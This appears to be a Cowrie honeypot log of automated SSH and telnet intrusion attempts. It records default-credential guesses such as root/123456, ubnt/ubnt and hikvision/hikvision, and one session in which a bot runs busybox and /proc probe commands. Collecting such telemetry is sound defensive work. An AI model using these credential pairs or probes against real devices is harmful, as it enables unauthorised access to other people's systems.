{"eventid":"cowrie.session.closed","duration":6.482283592224121,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:54.437608Z","src_ip":"176.65.139.121","session":"b5f5579506ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":60068,"dst_ip":"10.17.0.5","dst_port":23,"session":"7641dbd1b995","protocol":"telnet","message":"New connection: 176.65.139.121:60068 (10.17.0.5:23) [session: 7641dbd1b995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:54.574967Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54299,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e4251cd79e","protocol":"ssh","message":"New connection: 152.42.212.128:54299 (10.17.0.5:22) [session: a2e4251cd79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:55.634277Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:55.639382Z","src_ip":"152.42.212.128","session":"a2e4251cd79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:55.643350Z","src_ip":"152.42.212.128","session":"a2e4251cd79e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7542097568511963,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:58.328979Z","src_ip":"176.65.139.121","session":"7641dbd1b995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42906,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d636abef85e","protocol":"telnet","message":"New connection: 176.65.139.121:42906 (10.17.0.5:23) [session: 4d636abef85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:58.413524Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":35040,"dst_ip":"159.203.135.109","dst_port":22,"session":"be007a6600fe","protocol":"ssh","message":"New connection: 147.45.197.250:35040 (159.203.135.109:22) [session: be007a6600fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:59.565911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:59.572106Z","src_ip":"147.45.197.250","session":"be007a6600fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:59.666481Z","src_ip":"147.45.197.250","session":"be007a6600fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"895623","message":"login attempt [root/895623] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:50:59.967188Z","src_ip":"147.45.197.250","session":"be007a6600fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:01.065438Z","src_ip":"147.45.197.250","session":"be007a6600fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.906651496887207,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:02.320058Z","src_ip":"176.65.139.121","session":"4d636abef85e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":42918,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ebd033602a","protocol":"telnet","message":"New connection: 176.65.139.121:42918 (10.17.0.5:23) [session: 30ebd033602a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:02.400442Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36810,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb8aa0642963","protocol":"telnet","message":"New connection: 152.42.224.71:36810 (10.17.0.5:23) [session: fb8aa0642963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:03.739754Z"}
{"eventid":"cowrie.session.closed","duration":3.865673303604126,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:06.265995Z","src_ip":"176.65.139.121","session":"30ebd033602a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46430,"dst_ip":"10.17.0.5","dst_port":23,"session":"18bd93a3ffe4","protocol":"telnet","message":"New connection: 176.65.139.121:46430 (10.17.0.5:23) [session: 18bd93a3ffe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:06.344941Z"}
{"eventid":"cowrie.session.closed","duration":5.048039436340332,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:11.392866Z","src_ip":"176.65.139.121","session":"18bd93a3ffe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46446,"dst_ip":"10.17.0.5","dst_port":23,"session":"23621df856a1","protocol":"telnet","message":"New connection: 176.65.139.121:46446 (10.17.0.5:23) [session: 23621df856a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:11.471849Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":59982,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e0d0698adc8","protocol":"ssh","message":"New connection: 185.236.22.41:59982 (10.17.0.5:22) [session: 9e0d0698adc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:12.103757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:12.156745Z","src_ip":"185.236.22.41","session":"9e0d0698adc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:12.270446Z","src_ip":"185.236.22.41","session":"9e0d0698adc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456v","message":"login attempt [root/123456v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:12.803016Z","src_ip":"185.236.22.41","session":"9e0d0698adc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.429774284362793,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:13.901508Z","src_ip":"176.65.139.121","session":"23621df856a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:13.974544Z","src_ip":"185.236.22.41","session":"9e0d0698adc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46450,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c443414734","protocol":"telnet","message":"New connection: 176.65.139.121:46450 (10.17.0.5:23) [session: 50c443414734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:13.982325Z"}
{"eventid":"cowrie.session.closed","duration":3.5382096767425537,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:17.520439Z","src_ip":"176.65.139.121","session":"50c443414734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":44780,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4be442cee15","protocol":"telnet","message":"New connection: 176.65.139.121:44780 (10.17.0.5:23) [session: c4be442cee15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:17.599015Z"}
{"eventid":"cowrie.session.closed","duration":3.122450590133667,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:20.721266Z","src_ip":"176.65.139.121","session":"c4be442cee15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":44784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b58f3bcf1f04","protocol":"telnet","message":"New connection: 176.65.139.121:44784 (10.17.0.5:23) [session: b58f3bcf1f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:20.822443Z"}
{"eventid":"cowrie.session.closed","duration":3.4161665439605713,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:24.238510Z","src_ip":"176.65.139.121","session":"b58f3bcf1f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":44792,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c2e18ad178c","protocol":"telnet","message":"New connection: 176.65.139.121:44792 (10.17.0.5:23) [session: 8c2e18ad178c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:24.330766Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":50298,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e5cf8da9e6","protocol":"ssh","message":"New connection: 80.94.92.168:50298 (10.17.0.5:22) [session: 86e5cf8da9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:27.493958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:27.745063Z","src_ip":"80.94.92.168","session":"86e5cf8da9e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:27.749157Z","src_ip":"80.94.92.168","session":"86e5cf8da9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.002331972122192,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:28.332963Z","src_ip":"176.65.139.121","session":"8c2e18ad178c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33094,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ab9e5daf370","protocol":"telnet","message":"New connection: 176.65.139.121:33094 (10.17.0.5:23) [session: 6ab9e5daf370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:28.411776Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:29.095581Z","src_ip":"80.94.92.168","session":"86e5cf8da9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:30.384689Z","src_ip":"80.94.92.168","session":"86e5cf8da9e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.89783239364624,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:31.908928Z","src_ip":"152.42.224.71","session":"f82b228e9e16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8328659534454346,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:32.244512Z","src_ip":"176.65.139.121","session":"6ab9e5daf370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33104,"dst_ip":"10.17.0.5","dst_port":23,"session":"37ec81d6c330","protocol":"telnet","message":"New connection: 176.65.139.121:33104 (10.17.0.5:23) [session: 37ec81d6c330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:32.327283Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43376,"dst_ip":"10.17.0.5","dst_port":23,"session":"695e81d6d99b","protocol":"telnet","message":"New connection: 152.42.224.71:43376 (10.17.0.5:23) [session: 695e81d6d99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:33.223180Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43384,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b58bbc8a1dc","protocol":"telnet","message":"New connection: 152.42.224.71:43384 (10.17.0.5:23) [session: 0b58bbc8a1dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:35.626348Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:38.902075Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:38.955529Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:39.932887Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:40.429019Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:41.034539Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:41.638180Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:41.641575Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:42.239056Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.924213171005249,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:42.251417Z","src_ip":"176.65.139.121","session":"37ec81d6c330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42196,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e5cfea13064","protocol":"telnet","message":"New connection: 152.42.224.71:42196 (10.17.0.5:23) [session: 5e5cfea13064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:47.533046Z"}
{"eventid":"cowrie.session.closed","duration":46.230297327041626,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:49.969917Z","src_ip":"152.42.224.71","session":"fb8aa0642963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42210,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2fa6d2039a2","protocol":"telnet","message":"New connection: 152.42.224.71:42210 (10.17.0.5:23) [session: a2fa6d2039a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:50.612688Z"}
{"eventid":"cowrie.session.closed","duration":120.00628733634949,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:56.027516Z","src_ip":"176.65.139.118","session":"2254cdb1f59e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.802225589752197,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:51:56.335155Z","src_ip":"152.42.224.71","session":"5e5cfea13064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29213571548462,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:06.515163Z","src_ip":"152.42.224.71","session":"695e81d6d99b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"9597f3946f4d","protocol":"telnet","message":"New connection: 176.65.139.118:36832 (159.203.135.109:23) [session: 9597f3946f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:15.607727Z"}
{"eventid":"cowrie.login.failed","username":"hikvision","password":"hikvision","message":"login attempt [hikvision/hikvision] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:21.099333Z","src_ip":"176.65.139.118","session":"9597f3946f4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.538432598114014,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:22.146034Z","src_ip":"176.65.139.118","session":"9597f3946f4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":55390,"dst_ip":"159.203.135.109","dst_port":23,"session":"3530f434e26f","protocol":"telnet","message":"New connection: 176.65.139.118:55390 (159.203.135.109:23) [session: 3530f434e26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:22.224501Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:28.123941Z","src_ip":"176.65.139.118","session":"3530f434e26f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.2418553829193115,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:28.466265Z","src_ip":"176.65.139.118","session":"3530f434e26f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":45438,"dst_ip":"159.203.135.109","dst_port":23,"session":"056ef5ab2983","protocol":"telnet","message":"New connection: 176.65.139.118:45438 (159.203.135.109:23) [session: 056ef5ab2983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:28.611141Z"}
{"eventid":"cowrie.session.closed","duration":120.00170421600342,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:28.639076Z","src_ip":"152.42.224.71","session":"b61f63d3c1d1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:52:33.759692Z","src_ip":"176.65.139.118","session":"056ef5ab2983","protocol":"telnet"}
